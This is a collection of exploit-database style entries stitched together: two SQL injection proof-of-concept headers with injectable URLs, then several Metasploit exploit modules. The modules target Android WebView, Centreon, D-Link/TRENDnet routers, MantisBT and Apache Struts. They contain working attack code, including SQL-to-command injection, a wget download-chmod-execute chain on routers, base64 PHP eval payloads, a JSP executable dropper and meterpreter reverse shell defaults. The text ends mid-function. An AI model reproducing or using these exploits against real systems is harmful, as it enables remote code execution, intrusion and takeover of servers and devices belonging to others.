# Tested on: [ Ubuntu ]
# Versions: 1.0
# Date: March 22, 2017
# PoC:
# coupon Parameter Vulnerable To SQLi
# Demo:
# https://server/modern-booking-slots?task=saveorder&coupon=test"&start=&option=com_modern_booking
# L u Arg
###############################################################################################
# # # # #
# Exploit Title: Flippa Clone - SQL Injection
# Google Dork: N/A
# Date: 23.03.2017
# Vendor Homepage: http://www.snobscript.com/
# Software: http://www.snobscript.com/downloads/flippa-clone/
# Demo: http://flippaportal.scriptfirm.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/domain-details/[SQL]/Ihsan_Sencan
# http://localhost/[PATH]/site-details/[SQL]/Ihsan_Sencan
# http://localhost/[PATH]/ask-a-question/[SQL]
# Etc...
# # # # #
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/android'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Android
VULN_CHECK_JS = %Q|
for (i in top) {
try {
top[i].getClass().forName('java.lang.Runtime');
is_vuln = true; break;
} catch(e) {}
}
|
autopwn_info(
:os_name => OperatingSystems::Match::ANDROID,
:arch => ARCH_ARMLE,
:javascript => true,
:rank => ExcellentRanking,
:vuln_test => VULN_CHECK_JS
)
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' => %q{
This module exploits a privilege escalation issue in Android < 4.2's WebView component
that arises when untrusted Javascript code is executed by a WebView that has one or more
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
APIs exposed by the Interface and execute arbitrary commands.
Some distributions of the Android Browser app have an addJavascriptInterface
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
4.1.2 release of Android is known to be vulnerable.
A secondary attack vector involves the WebViews embedded inside a large number
of Android applications. Ad integrations are perhaps the worst offender here.
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
into the page displayed in the WebView, then you can inject the html/js served
by this module and get a shell.
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
},
'License' => MSF_LICENSE,
'Author' => [
'jduck', # original msf module
'joev' # static server
],
'References' => [
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
['URL', 'http://50.56.33.56/blog/?p=314'],
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
['CVE', '2012-6636'], # original CVE for addJavascriptInterface
['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
['EDB', '31519'],
['OSVDB', '97520']
],
'Platform' => ['android', 'linux'],
'Arch' => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_name => OperatingSystems::Match::ANDROID,
:vuln_test => VULN_CHECK_JS,
:vuln_test_error => 'No vulnerable Java objects were found in this web context.'
}
))
deregister_options('JsObfuscate')
end
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
# on requests for the static javascript file
def on_request_uri(cli, req)
if req.uri =~ /\.js/
serve_static_js(cli, req)
else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
arch = normalize_arch(browser[:arch])
print_status "Serving #{arch} exploit..."
send_response_html(cli, html(arch))
end
# Called when a client requests a .js route.
# This is handy for post-XSS.
def serve_static_js(cli, req)
arch = req.qstring['arch']
response_opts = { 'Content-type' => 'text/javascript' }
if arch.present?
print_status("Serving javascript for arch #{normalize_arch arch}")
send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
else
print_status("Serving arch detection javascript")
send_response(cli, static_arch_detect_js, response_opts)
end
end
# This is served to requests for the static .js file.
# Because we have to use javascript to detect arch, we have 3 different
# versions of the static .js file (x86/mips/arm) to choose from. This
# small snippet of js detects the arch and requests the correct file.
def static_arch_detect_js
%Q|
var arches = {};
arches['#{ARCH_ARMLE}'] = /arm/i;
arches['#{ARCH_MIPSLE}'] = /mips/i;
arches['#{ARCH_X86}'] = /x86/i;
var arch = null;
for (var name in arches) {
if (navigator.platform.toString().match(arches[name])) {
arch = name;
break;
}
}
if (arch) {
// load the script with the correct arch
var script = document.createElement('script');
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
script.setAttribute('type', 'text/javascript');
// ensure body is parsed and we won't be in an uninitialized state
setTimeout(function(){
var node = document.body \|\| document.head;
node.appendChild(script);
}, 100);
}
|
end
# @return [String] normalized client architecture
def normalize_arch(arch)
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
end
def html(arch)
"<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Centreon SQL and Command Injection',
'Description' => %q{
This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
injection in the displayServiceStatus.php component, it is possible to execute arbitrary
commands as long as there is a valid session registered in the centreon.session table.
In order to have a valid session, all it takes is a successful login from anybody.
The exploit itself does not require any authentication.
This module has been tested successfully on Centreon Enterprise Server 2.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'MaZ', # Vulnerability Discovery and Analysis
'juan vazquez' # Metasploit Module
],
'References' =>
[
['CVE', '2014-3828'],
['CVE', '2014-3829'],
['US-CERT-VU', '298796'],
['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78']
],
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 1500, # having into account 8192 as max URI length
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
}
},
'Targets' =>
[
['Centreon Enterprise Server 2.2', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 15 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
], self.class)
end
def check
random_id = rand_text_numeric(5 + rand(8))
res = send_session_id(random_id)
unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
return Exploit::CheckCode::Safe
end
injection = "#{random_id}' or 'a'='a"
res = send_session_id(injection)
if res && res.code == 200
if res.body && res.body.to_s =~ /sh: graph: command not found/
return Exploit::CheckCode::Vulnerable
elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
return Exploit::CheckCode::Detected
end
end
Exploit::CheckCode::Safe
end
def exploit
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
elsif check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
end
print_status("Exploiting...")
random_id = rand_text_numeric(5 + rand(8))
random_char = rand_text_alphanumeric(1)
session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
res = send_template_id(session_injection, template_injection)
if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
vprint_status("Output: #{res.body}")
end
end
def send_session_id(session_id)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
'vars_get' =>
{
'session_id' => session_id
}
)
res
end
def send_template_id(session_id, template_id)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
'vars_get' =>
{
'session_id' => session_id,
'template_id' => template_id
}
}, 3)
res
end
def mysql_payload
p = ''
payload.encoded.each_byte { |c| p << "#{c},"}
p
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking # Only tested on Emulated environment
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link/TRENDnet NCC Service Command Injection',
'Description' => %q{
This module exploits a remote command injection vulnerability on several routers. The
vulnerability exists in the ncc service, while handling ping commands. This module has
been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices
are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L
(Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link
DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)
v2.01b01
},
'Author' =>
[
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-1187'],
['BID', '72816'],
['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
],
'Targets' =>
# Only tested on D-Link DIR-626L where wget is available
[
[ 'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
[ 'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Feb 26 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
], self.class)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
# unknown if other devices also using mini_httpd
if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exec_command(cmd, timeout = 20)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'encode_params' => false,
'vars_post' => {
'ccp_act' => 'ping_v6',
'ping_addr' => '$(' + cmd + ')'
}
}, timeout)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def primer
@payload_url = get_uri
wget_payload
end
def exploit
print_status("Accessing the vulnerable URL...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
end
print_status("Exploiting...")
@pl = generate_payload_exe
@payload_url = ''
@dropped_elf = rand_text_alpha(rand(5) + 3)
if datastore['EXTURL'].blank?
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
end
chmod_payload
exec_payload
else
@payload_url = datastore['EXTURL']
wget_payload
chmod_payload
exec_payload
end
end
def wget_payload
upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)
cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"
print_status("Downloading the payload to the target machine...")
res = exec_command(cmd)
if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
register_files_for_cleanup(upload_path)
else
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
end
end
def chmod_payload
cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
print_status("chmod the payload...")
res = exec_command(cmd, 1)
unless res
fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
end
Rex.sleep(1)
end
def exec_payload
cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
print_status("Executing the payload...")
res = exec_command(cmd, 1)
unless res
fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
end
Rex.sleep(1)
end
# Handle incoming requests to the HTTP server
def on_request_uri(cli, request)
print_status("Request: #{request.uri}")
if request.uri =~ /#{Regexp.escape(get_resource)}/
print_status('Sending payload...')
send_response(cli, @pl)
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include REXML
def initialize(info = {})
super(update_info(info,
'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
'Description' => %q{
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
This version also suffers from another issue. The import page is not checking the correct user level
of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Egidio Romano', # discovery http://karmainsecurity.com
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
'Christian Mehlmauer'
],
'References' =>
[
['CVE', '2014-7146'],
['CVE', '2014-8598'],
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'],
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Generic (PHP Payload)', {}]],
'DisclosureDate' => 'Nov 8 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
], self.class)
end
def get_mantis_version
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:man' => "http://futureware.biz/mantisconnect"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element("man:mc_version",
{ 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }
)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'),
'ctype' => 'text/xml; charset=UTF-8',
'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'},
'data' => xml.to_s
})
if res && res.code == 200
match = res.body.match(/<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/return><\/ns1:mc_versionResponse>/)
if match && match.length == 2
version = match[1]
print_status("Detected Mantis version #{version}")
return version
end
end
print_status("Can not detect Mantis version")
return nil
end
def check
version = get_mantis_version
return Exploit::CheckCode::Unknown if version.nil?
gem_version = Gem::Version.new(version)
gem_version_introduced = Gem::Version.new('1.2.0a3')
gem_version_fixed = Gem::Version.new('1.2.18')
if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
end
def do_login()
# check for anonymous login
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_anon.php')
})
# if the redirect contains a username (non empty), anonymous access is enabled
if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/
print_status('Anonymous access enabled, no need to log in')
session_cookie = res.get_cookies
else
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
'vars_get' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
}
})
session_cookie = res.get_cookies
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
'username' => datastore['username'],
'password' => datastore['password'],
'secure_session' => 'on'
}
})
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php')
session_cookie = "#{session_cookie} #{res.get_cookies}"
end
session_cookie
end
def upload_xml(payload_b64, rand_text, cookies, is_check)
if is_check
timeout = 20
else
timeout = 3
end
rand_num = Rex::Text.rand_text_numeric(1, 9)
print_status('Checking XmlImportExport plugin...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugin.php'),
'cookie' => cookies,
'vars_get' => {
'page' => 'XmlImportExport/import'
}
})
unless res && res.code == 200 && res.body
print_error('Error trying to access XmlImportExport/import page...')
return false
end
if res.body.include?('Plugin is not registered with MantisBT')
print_error('XMLImportExport plugin is not installed')
return false
end
# Retrieving CSRF token
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
csrf_token = Regexp.last_match[1]
else
print_error('Error trying to read CSRF token')
return false
end
# Retrieving default project id
if res.body =~ /name="project_id" value="([0-9]+)"/
project_id = Regexp.last_match[1]
else
print_error('Error trying to read project id')
return false
end
# Retrieving default category id
if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/
category_id = Regexp.last_match[1]
category_name = Regexp.last_match[2]
else
print_error('Error trying to read default category')
return false
end
# Retrieving default max file size
if res.body =~ /name="max_file_size" value="([0-9]+)"/
max_file_size = Regexp.last_match[1]
else
print_error('Error trying to read default max file size')
return false
end
# Retrieving default step
if res.body =~ /name="step" value="([0-9]+)"/
step = Regexp.last_match[1]
else
print_error('Error trying to read default step value')
return false
end
xml_file = %Q|
<mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
<issue>
<id>#{ rand_num }</id>
<project id="#{ project_id }">#{ rand_text }</project>
<reporter id="#{ rand_num }">#{ rand_text }</reporter>
<priority id="30">normal</priority>
<severity id="50">minor</severity>
<reproducibility id="70">have not tried</reproducibility>
<status id="#{ rand_num }">new</status>
<resolution id="#{ rand_num }">open</resolution>
<projection id="#{ rand_num }">none</projection>
<category id="#{ category_id }">#{ category_name }</category>
<date_submitted>1415492267</date_submitted>
<last_updated>1415507582</last_updated>
<eta id="#{ rand_num }">none</eta>
<view_state id="#{ rand_num }">public</view_state>
<summary>#{ rand_text }</summary>
<due_date>1</due_date>
<description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
</issue>
</mantis>
|
data = Rex::MIME::Message.new
data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"")
data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"")
data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"")
data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"")
data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"")
data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"")
data.add_part("link", nil, nil, "form-data; name=\"fallback\"")
data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"")
data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
data_post = data.to_s
print_status('Sending payload...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
'data' => data_post
}, timeout)
if res && res.body && res.body.include?('APPLICATION ERROR')
print_error('Error on uploading XML')
return false
end
# request above will time out and return nil on success
return true
end
def exec_php(php_code, is_check = false)
print_status('Checking access to MantisBT...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection)
# remove comments, line breaks and spaces of php_code
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
# clean b64 payload
while Rex::Text.encode_base64(payload_clean).include?('=')
payload_clean = "#{ payload_clean } "
end
payload_b64 = Rex::Text.encode_base64(payload_clean)
rand_text = Rex::Text.rand_text_alpha(5, 8)
cookies = do_login()
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
return unless res_payload
# When a meterpreter session is active, communication with the application is lost.
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
cookies = do_login()
print_status("Deleting issue (#{ rand_text })...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
'cookie' => cookies
})
unless res && res.code == 200
print_error('Error trying to access My View page')
return false
end
if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
issue_id = Regexp.last_match[1]
else
print_error('Error trying to retrieve issue id')
return false
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
'cookie' => cookies,
'vars_get' => {
'bug_arr[]' => issue_id,
'action' => 'DELETE',
},
})
if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
csrf_token = Regexp.last_match[1]
else
print_error('Error trying to retrieve CSRF token')
return false
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
'cookie' => cookies,
'vars_post' => {
'bug_actiongroup_DELETE_token' => csrf_token,
'bug_arr[]' => issue_id,
'action' => 'DELETE',
},
})
if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
print_status("Issue number (#{ issue_id }) removed")
else
print_error("Removing issue number (#{ issue_id }) has failed")
return false
end
# if check return the response
if is_check
return res_payload
else
return true
end
end
def exploit
get_mantis_version
unless exec_php(payload.encoded)
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # It's going to manipulate the Class Loader
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts versions
1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
allow remote attackers to execute arbitrary Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
'Matthew Hall <hallm[at]sec-1.com>' # SMB target
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['CVE', '2014-0114'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
],
'Platform' => %w{ linux win },
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 1))
register_options(
[
Opt::RPORT(8080),
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
], self.class)
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
end
def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
dropper
end
def dump_line(uri, cmd = '')
res = send_request_cgi({
'uri' => uri,
'encode_params' => false,
'vars_get' => {
cmd => ''
},
'version' => '1.1',
'method' => 'GET'
})
res
end
def modify_class_loader(opts)
cl_prefix =
case datastore['STRUTS_VERSION']
when '1.x' then "class.classLoader"
when '2.x' then "class['classLoader']"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
res
end
def check_log_file(hint)
uri = normalize_uri("/", @jsp_file)
print_status("Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("Countdown #{10-x}...")
res = dump_line(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
return true
end
end
false
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l=~ /%>/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def create_jsp
if target['Arch'] == ARCH_JAVA
jsp = fix(payload.encoded)
else
if target['Platform'] == 'win'
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
else
payload_exe = generate_payload_exe
end
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup(payload_file)
end
jsp
end
def exploit
if target.name =~ /Remote SMB Resource/
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
else
class_loader_exploit
end
end
# Used with SMB targets
def primer
self.file_name << '.jsp'
self.file_contents = payload.encoded
print_status("JSP payload available on #{unc}...")
print_status("Modifying Class Loader...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
}
})
jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
jsp_shell << "/#{self.file_name}"
